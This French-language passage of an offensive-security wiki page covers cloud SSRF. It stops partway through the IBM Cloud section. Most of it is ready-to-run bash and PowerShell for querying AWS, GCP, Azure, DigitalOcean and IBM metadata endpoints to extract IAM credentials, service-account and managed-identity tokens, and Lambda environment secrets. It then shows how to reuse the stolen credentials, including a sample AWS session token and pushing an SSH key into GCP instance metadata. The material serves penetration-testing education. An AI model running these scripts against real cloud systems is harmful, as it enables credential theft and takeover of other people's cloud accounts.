# Cloud SSRF

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## AWS

### Abuser de SSRF dans l'environnement AWS EC2

**Le point de terminaison des métadonnées** peut être accédé depuis n'importe quelle machine EC2 et offre des informations intéressantes à son sujet. Il est accessible à l'url : `http://169.254.169.254` ([informations sur les métadonnées ici](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).

Il existe **2 versions** du point de terminaison des métadonnées. La **première** permet d'**accéder** au point de terminaison via des requêtes **GET** (donc tout **SSRF peut l'exploiter**). Pour la **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), vous devez demander un **jeton** en envoyant une requête **PUT** avec un **en-tête HTTP** et ensuite utiliser ce jeton pour accéder aux métadonnées avec un autre en-tête HTTP (donc c'est **plus compliqué à abuser** avec un SSRF).

> [!CAUTION]
> Notez que si l'instance EC2 applique IMDSv2, [**selon la documentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **réponse de la requête PUT** aura une **limite de saut de 1**, rendant impossible l'accès aux métadonnées EC2 depuis un conteneur à l'intérieur de l'instance EC2.
>
> De plus, **IMDSv2** bloquera également **les requêtes pour obtenir un jeton qui incluent l'en-tête `X-Forwarded-For`**. Cela vise à empêcher les proxies inverses mal configurés d'y accéder.

Vous pouvez trouver des informations sur les [points de terminaison des métadonnées dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, certaines informations intéressantes sont obtenues à partir de celui-ci :
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
En tant qu'**exemple de credentials IAM disponibles publiquement** exposés, vous pouvez visiter : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)

Vous pouvez également vérifier les **credentials de sécurité EC2 publics** à : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)

Vous pouvez ensuite prendre **ces credentials et les utiliser avec l'AWS CLI**. Cela vous permettra de faire **tout ce que ce rôle a la permission de faire**.

Pour profiter des nouveaux credentials, vous devrez créer un nouveau profil AWS comme celui-ci :
```
[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
Remarquez le **aws_session_token**, cela est indispensable pour que le profil fonctionne.

[**PACU**](https://github.com/RhinoSecurityLabs/pacu) peut être utilisé avec les identifiants découverts pour découvrir vos privilèges et essayer d'escalader les privilèges.

### SSRF dans les identifiants AWS ECS (Service de Conteneurs)

**ECS** est un groupe logique d'instances EC2 sur lequel vous pouvez exécuter une application sans avoir à gérer votre propre infrastructure de gestion de cluster, car ECS s'en occupe pour vous. Si vous parvenez à compromettre un service fonctionnant dans **ECS**, les **points de terminaison de métadonnées changent**.

Si vous accédez à _**http://169.254.170.2/v2/credentials/\<GUID>**_, vous trouverez les identifiants de la machine ECS. Mais d'abord, vous devez **trouver le \<GUID>**. Pour trouver le \<GUID>, vous devez lire la variable **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** à l'intérieur de la machine.\
Vous pourriez être en mesure de le lire en exploitant un **Path Traversal** vers `file:///proc/self/environ`\
L'adresse http mentionnée devrait vous donner la **AccessKey, SecretKey et token**.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
> [!TIP]
> Notez que dans **certains cas**, vous pourrez accéder aux **métadonnées de l'instance EC2** depuis le conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, depuis le conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM de l'EC2.

### SSRF pour AWS Lambda

Dans ce cas, les **identifiants sont stockés dans des variables d'environnement**. Donc, pour y accéder, vous devez accéder à quelque chose comme **`file:///proc/self/environ`**.

Le **nom** des **variables d'environnement intéressantes** est :

- `AWS_SESSION_TOKEN`
- `AWS_SECRET_ACCESS_KEY`
- `AWS_ACCES_KEY_ID`

De plus, en plus des identifiants IAM, les fonctions Lambda ont également **des données d'événement qui sont transmises à la fonction lorsqu'elle est démarrée**. Ces données sont mises à disposition de la fonction via l'[interface d'exécution](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) et pourraient contenir des **informations sensibles** (comme à l'intérieur des **stageVariables**). Contrairement aux identifiants IAM, ces données sont accessibles via SSRF standard à **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.

> [!WARNING]
> Notez que les **identifiants lambda** se trouvent à l'intérieur des **variables d'environnement**. Donc, si la **trace de la pile** du code lambda imprime des variables d'environnement, il est possible de **les exfiltrer en provoquant une erreur** dans l'application.

### SSRF URL pour AWS Elastic Beanstalk

Nous récupérons le `accountId` et la `region` depuis l'API.
```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
Nous récupérons ensuite le `AccessKeyId`, le `SecretAccessKey` et le `Token` depuis l'API.
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL)

Ensuite, nous utilisons les identifiants avec `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.

## GCP

Vous pouvez [**trouver ici la documentation sur les points de terminaison de métadonnées**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).

### URL SSRF pour Google Cloud

Nécessite l'en-tête HTTP **`Metadata-Flavor: Google`** et vous pouvez accéder au point de terminaison de métadonnées avec les URL suivantes :

- [http://169.254.169.254](http://169.254.169.254)
- [http://metadata.google.internal](http://metadata.google.internal)
- [http://metadata](http://metadata)

Points de terminaison intéressants pour extraire des informations :
```bash
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
Beta ne nécessite PAS d'en-tête pour le moment (merci Mathias Karlsson @avlidienbrunn)
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
> [!CAUTION]
> Afin de **utiliser le jeton de compte de service exfiltré**, vous pouvez simplement faire :
>
> ```bash
> # Via env vars
> export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
> gcloud projects list
>
> # Via setup
> echo "<token>" > /some/path/to/token
> gcloud config set auth/access_token_file /some/path/to/token
> gcloud projects list
> gcloud config unset auth/access_token_file
> ```

### Ajouter une clé SSH

Extraire le jeton
```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
Vérifiez la portée du jeton (avec la sortie précédente ou en exécutant ce qui suit)
```bash
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
```
Maintenant, poussez la clé SSH.
```bash
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
### Cloud Functions

L'endpoint de métadonnées fonctionne de la même manière que dans les VMs mais sans certains endpoints :
```bash
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
```
## Digital Ocean

> [!WARNING]
> Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations d'identification de bot de métadonnées.

Documentation disponible à [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
## Azure

### Azure VM

[**Docs** ici](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).

- **Doit** contenir l'en-tête `Metadata: true`
- Ne doit **pas** contenir un en-tête `X-Forwarded-For`

> [!TIP]
> Une VM Azure peut avoir 1 identité gérée par le système et plusieurs identités gérées par l'utilisateur. Ce qui signifie essentiellement que vous pouvez **imiter toutes les identités gérées attachées à une VM**.
>
> Lors de la demande d'un jeton d'accès à l'endpoint de métadonnées, par défaut, le service de métadonnées utilisera l'**identité gérée assignée par le système** pour générer le jeton, s'il y a une identité gérée assignée par le système. Dans le cas où il n'y a qu'**UNE identité gérée assignée par l'utilisateur**, alors celle-ci sera utilisée par défaut. Cependant, s'il n'y a pas d'identité gérée assignée par le système et qu'il y a **plusieurs identités gérées assignées par l'utilisateur**, alors le service de métadonnées renverra une erreur indiquant qu'il y a plusieurs identités gérées et qu'il est nécessaire de **spécifier laquelle utiliser**.
>
> Malheureusement, je n'ai pas pu trouver d'endpoint de métadonnées indiquant toutes les identités gérées qu'une VM a attachées, donc découvrir toutes les identités gérées assignées à une VM pourrait être une tâche difficile du point de vue d'une équipe rouge.
>
> Par conséquent, pour trouver toutes les identités gérées attachées, vous pouvez faire :
>
> - Obtenir **les identités attachées avec az cli** (si vous avez déjà compromis un principal dans le locataire Azure)
>
> ```bash
> az vm identity show \
>  --resource-group <rsc-group> \
>  --name <vm-name>
> ```
>
> - Obtenir **les identités attachées** en utilisant l'identité gérée par défaut dans les métadonnées :
>
> ```bash
> export API_VERSION="2021-12-13"
>
> # Obtenir le jeton de l'identité gérée par défaut
> export TOKEN=$(curl -s -H "Metadata:true" \
>  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
>  | jq -r '.access_token')
>
> # Obtenir les détails nécessaires
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
>  "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
>  "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
> export VM_NAME=$(curl -s -H "Metadata:true" \
>  "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
>
> # Essayer d'obtenir les identités gérées attachées
> curl -s -H "Authorization: Bearer $TOKEN" \
>  "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> ```
>
> - **Obtenir toutes** les identités gérées définies dans le locataire et **forcer** pour voir si l'une d'elles est attachée à la VM :
>
> ```bash
> az identity list
> ```

> [!CAUTION]
> Dans les demandes de jeton, utilisez l'un des paramètres `object_id`, `client_id` ou `msi_res_id` pour indiquer l'identité gérée que vous souhaitez utiliser ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Si aucun, la **MI par défaut sera utilisée**.

{{#tabs}}
{{#tab name="Bash"}}
```bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
```
{{#endtab}}

{{#tab name="PS"}}
```bash
# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

## Get management token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token

## Get graph token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token

## Get vault token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token

## Get storage token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token


# More Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
```
{{#endtab}}
{{#endtabs}}

> [!WARNING]
> Notez que le point de terminaison **`http://169.254.169.254/metadata/v1/instanceinfo` ne nécessite pas l'en-tête `Metadata: True`**, ce qui est excellent pour montrer l'impact des vulnérabilités SSRF dans Azure où vous ne pouvez pas ajouter cet en-tête.

### Azure App & Services de Fonctions & Comptes d'Automatisation

À partir de **env**, vous pouvez obtenir les valeurs de **`IDENTITY_HEADER`** et **`IDENTITY_ENDPOINT`**. Que vous pouvez utiliser pour obtenir un jeton afin de communiquer avec le serveur de métadonnées.

La plupart du temps, vous voulez un jeton pour l'une de ces ressources :

- [https://storage.azure.com](https://storage.azure.com/)
- [https://vault.azure.net](https://vault.azure.net/)
- [https://graph.microsoft.com](https://graph.microsoft.com/)
- [https://management.azure.com](https://management.azure.com/)

> [!CAUTION]
> Dans les demandes de jeton, utilisez l'un des paramètres `object_id`, `client_id` ou `msi_res_id` pour indiquer l'identité gérée que vous souhaitez utiliser ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Si aucun, la **MI par défaut sera utilisée**.

{{#tabs}}
{{#tab name="Bash"}}
```bash
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
```
{{#endtab}}

{{#tab name="PS"}}
```bash
# Define the API version
$API_VERSION = "2019-08-01"

# Function to get a token for a specified resource
function Get-Token {
param (
[string]$Resource
)
$url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION"
$headers = @{
"X-IDENTITY-HEADER" = $IDENTITY_HEADER
}
try {
$response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get
$response.access_token
} catch {
Write-Error "Error obtaining token for $Resource: $_"
}
}

# Get Management Token
$managementToken = Get-Token -Resource "https://management.azure.com/"
Write-Host "Management Token: $managementToken"

# Get Graph Token
$graphToken = Get-Token -Resource "https://graph.microsoft.com/"
Write-Host "Graph Token: $graphToken"

# Get Vault Token
$vaultToken = Get-Token -Resource "https://vault.azure.net/"
Write-Host "Vault Token: $vaultToken"

# Get Storage Token
$storageToken = Get-Token -Resource "https://storage.azure.com/"
Write-Host "Storage Token: $storageToken"


# Using oneliners

## Get management token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://management.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token

## Get graph token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://graph.microsoft.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token

## Get vault token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://vault.azure.net/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token

## Get storage token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token

## Remember that in Automation Accounts it might be declared the client ID of the assigned user managed identity inside the variable that can be gatehred with:
Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID'
```
{{#endtab}}
{{#endtabs}}

## IBM Cloud

> [!WARNING]
> Notez qu'IBM n'active pas par défaut les métadonnées, il est donc possible que vous ne puissiez pas y accéder même si vous êtes à l'intérieur d'une VM IBM cloud.
```bash
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
